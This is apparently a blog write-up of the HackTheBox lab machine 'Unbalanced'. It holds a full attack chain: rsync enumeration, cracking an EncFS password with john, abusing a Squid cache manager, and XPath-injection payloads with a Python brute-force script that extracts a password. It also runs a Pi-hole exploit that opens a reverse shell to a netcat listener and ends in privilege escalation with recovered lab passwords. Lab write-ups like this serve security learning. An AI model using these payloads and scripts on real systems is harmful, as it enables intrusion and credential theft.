Header Image

Roman Hergenreder

Computer Science Student & Software Developer

[machine avatar]

HackTheBox Unbalanced - Writeup

Release Date:2020/08/01 19:00
Last modified: 2021-03-31 17:34:21 + Give Respect

The nmap scan shows an open ssh port, and two other services running: rsync and squid proxy.

$ nmap -sS -p- -T4
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
| 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp open rsync (protocol version 31)
3128/tcp open http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved

Beginning with the rsync port, we find this article explaining the enumeration and exploitation of this service. Unfortunately, the nmap script rsync-list-modules did not give more information than the nmap scan, we issued before. But we can connect via nc and try to find out something manually. After we connect, we need to wait for the server to send it's rsync banner. After that, we send the banner back and can issue some commands:

$ nc -vvv 873
unbalanced [] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
conf_backups EncFS-encrypted configuration backups
Total received bytes: 82
Total sent bytes: 20

Next we can download the rsync directory using it's command:

$ mkdir conf_backups && rsync -av rsync:// ./conf_backups
receiving incremental file list
sent 1,452 bytes received 411,990 bytes 35,951.48 bytes/sec
total size is 405,603 speedup is 0.98

We got an encrypted rsync drive. Luckily, the .encfs6.xml file is included, it contains the hashed key used for encryption/decryption. We can crack this key using john:

$ encfs2john conf_backups/ > hash && john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=EncFS
Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 128/128 XOP 4x2 AES])
Cost 1 (iteration count) is 580280 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bubblegum (conf_backups/)
1g 0:00:00:46 DONE (2020-08-08 12:25) 0.02158g/s 51.12p/s 51.12c/s 51.12C/s chacha..delfin
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Using the cracked password, we can now decrypt the encfs folder, which reveals a lot of configuration files. Note, the encfs command requires absolute paths here.

$ mkdir conf_backups_decrypted
$ encfs $(pwd)/conf_backups/ $(pwd)/conf_backups_decrypted
EncFS-Password: bubblegum
$ ls -al conf_backups | wc -l

The only relevant config file seems to be the squid.conf file. It contains many line comments, so filtering them gives us the following lines:

$ grep "^[^#;]" conf_backups_decrypted/squid.conf
acl localnet src # RFC 1122 "this" network (LAN)
acl Safe_ports port 777 # multiling http
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow manager
include /etc/squid/conf.d/*
http_access allow localhost
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n
http_access allow intranet
http_access allow intranet_net
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp: 1440 20% 10080
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern . 0 20% 4320
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
cache disable

First of all, cachemgr_passwd is set with a password and a list of commands, which we are allowed to use. Secondly, the http_access and acl directives tell us, where we are allowed to connect to. That's the domain intranet.unbalanced.htb and the local subnet We will focus on the cache first using squidclient, because it might contain sensitive information. The squidclient is often included in the squid package in your distribution.

$ squidclient -U squid -W 'Thah$Sh1' -h cache_object://
FQDN Cache Statistics:
FQDNcache Entries In Use: 11
FQDNcache Entries Cached: 8
FQDNcache Requests: 22
FQDNcache Hits: 0
FQDNcache Negative Hits: 6
FQDNcache Misses: 16
FQDN Cache Contents:

Address Flg TTL Cnt Hostnames H -001 2 unbalanced.htb unbalanced
::1 H -001 3 localhost ip6-localhost ip6-loopback H -001 1 intranet-host2.unbalanced.htb H -001 1 intranet-host3.unbalanced.htb H -001 1 localhost H -001 1 intranet.unbalanced.htb
ff02::1 H -001 1 ip6-allnodes
ff02::2 H -001 1 ip6-allrouters

We got a bunch of new domains and we directly see, that one domain is missing: intranet-host1.unbalanced.htb. The IP-Address is probably, so we will try to connect to it:

$ curl --proxy
Host temporarily taken out of load balancing for security maintenance.

Hmmm.. this seems like a custom message, the host seems to have some security issues. Let's find them using gobuster!

$ gobuster dir -u -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -b 403,404 -x php -p
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 403,404
[+] Proxy:
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
2020/08/08 12:52:24 Starting gobuster
/css (Status: 301)
/index.php (Status: 200)
/intranet.php (Status: 200)
2020/08/08 12:55:02 Finished

Configuring our browser to connect through the proxy on we try to access /intranet.php, and indeed, a login page shows up. Doing some basic injection test, we also find out, that ' or '1'='1 as password will give us a list of users, so the login form is injectable in some kind. sqlmap somehow doesn't find any vulnerable parameter, so it must be something different. After some research and trying out different payloads, we find out, that XPath has a similar syntax. An example query and exploitation is given on PayloadsAllTheThings, so the query being executed on the server might look like this:

//Employee[Username/text()=' + USERNAME + ' and Password/text()=' + PASSWORD + ']

Using ' or '1'='1 as password, we get some usernames and their roles including the System Administrator bryan. It looks like, this user is worth to find credentials for. First, we want to know, what the length of his password is. We can use the following python code to bruteforce the password length:

def findPasswordLength(username):
    passwordLen = 1
    while True:
        res = login(username, "' or string-length(Password)=%d and Username='%s" % (passwordLen, username))
        if res.status_code != 200:
            print(res, res.text)

        if "Invalid credentials." not in res.text:
        passwordLen += 1

    return passwordLen

Next we bruteforce the password char-by-char:

def bruteforcePassword(username, passwordLen):
    password = ""
    for i in range(passwordLen):
        found = False
        for x in string.printable:
            if x == '\'' or x == '\\' or x.isspace():

            res = login(username, "' or substring(Password,%d,1)='%s' and Username='%s" % (i+1,x,username))
            if res.status_code != 200:
                print(res, res.text)

            if "Invalid credentials." not in res.text:
                found = True
                password += x
                print("Password: '%s%s'" % (password, "." * (passwordLen-i-1)))

        if not found:
            print("[-] Password not found")

    return password

After we executed the script, the password is printed on the console and we can login with user bryan on the SSH port. The user flag is right in bryan's home directory:

$ ssh bryan@
bryan@'s password: ireallyl0vebubblegum!!!
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
bryan@unbalanced:~$ cat user.txt

Bryan's home directory also includes a note which points to the way to root:

bryan@unbalanced:~$ cat TODO
# Intranet #
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

# Pi-hole #
* Install Pi-hole docker (only listening on [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]

So the next steps are probably connected to pihole. The local bound ports show up two ports: 8080 and 5553. A curl request confirms, that port 8080 is running the pi hole admin interface:

bryan@unbalanced:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128*
LISTEN 0 128*
LISTEN 0 32*
LISTEN 0 128*
LISTEN 0 5 [::]:873 [::]:*
LISTEN 0 32 [::]:53 [::]:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:3128 *:*
bryan@unbalanced:~$ curl
[ERROR]: Unable to parse results from <i>queryads.php</i>: <code>Unhandled error message (<code>Invalid domain!</code>)</code>
bryan@unbalanced:~$ curl -H "Host: pi.hole" -v
< HTTP/1.1 302 Found
< Location: /admin
< Content-type: text/html; charset=UTF-8
< Content-Length: 0
< Date: Thu, 13 Aug 2020 11:12:07 GMT
< Server: lighttpd/1.4.45
* Connection #0 to host left intact

For further analysis, we will forward the port via ssh tunnel and add the pi.hole host:

$ echo " pi.hole" >> /etc/hosts && ssh -N -L 80: bryan@

Now we can visit the admin panel via http://pi.hole. As the note in the TODO file says, the pi-hole has a temporary admin password, so we are able to login with password admin. The footer on the web interface gives us the version being used: Pi-hole Version v4.3.2 Web Interface Version v4.3 FTL Version v4.3.1. Looking up this version we find a bunch of exploit scripts on exploit-db.com. I've used this script, because it also gave root permissions on the docker container, where pi-hole is running on:

$ python exploit.py pi.hole admin
[+] Vulnerable URL is http://pi.hole/admin
[+] Creation success, ID is 6!
[!] Binding to
[+] Yes, we have an incoming connection from
[!] Closing Listener
[+] Update succeeded.
[+] This system is vulnerable!
Want to continue with exploitation? (Or just run cleanup)? [y/N]: y
Want root access? (Breaks the application!!) [y/N]: y
[!] Allright, going for the root shell
[!] Binding to
[+] Yes, we have an incoming connection from
[!] Closing Listener
[+] Update succeeded.
[+] Creation success, ID is 7!
[!] Binding to
[+] Yes, we have an incoming connection from
[!] Closing Listener
[+] Update succeeded.
Ok, make sure to have a netcat listener on "" ("nc -lnvp 4444") and press enter to continue...
[!] Binding to
[+] Yes, we have an incoming connection from
[!] Closing Listener
[+] Update succeeded.
[+] Calling http://pi.hole/admin/scripts/pi-hole/php/fhayaimd.php
[+] Cleaning up now.
[+] Remove success
[+] Cleaning up now.
[+] Remove success
$ nc -lvvp 4444
Listening on any address 4444 (krb524)
Connection from
bash: cannot set terminal process group (526): Inappropriate ioctl for device
bash: no job control in this shell

After the exploit succeeded, we can retrieve another password from the root pi-hole configuration:

root@pihole:/var/www/html/admin/scripts/pi-hole/php$ cat /root/pihole_config.sh
# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb

Using this password, we can elevate our privileges on the main host to root and grab the root flag:

bryan@unbalanced:~$ su
Password: bUbBl3gUm$43v3Ry0n3!
root@unbalanced:/home/bryan$ cat /root/root.txt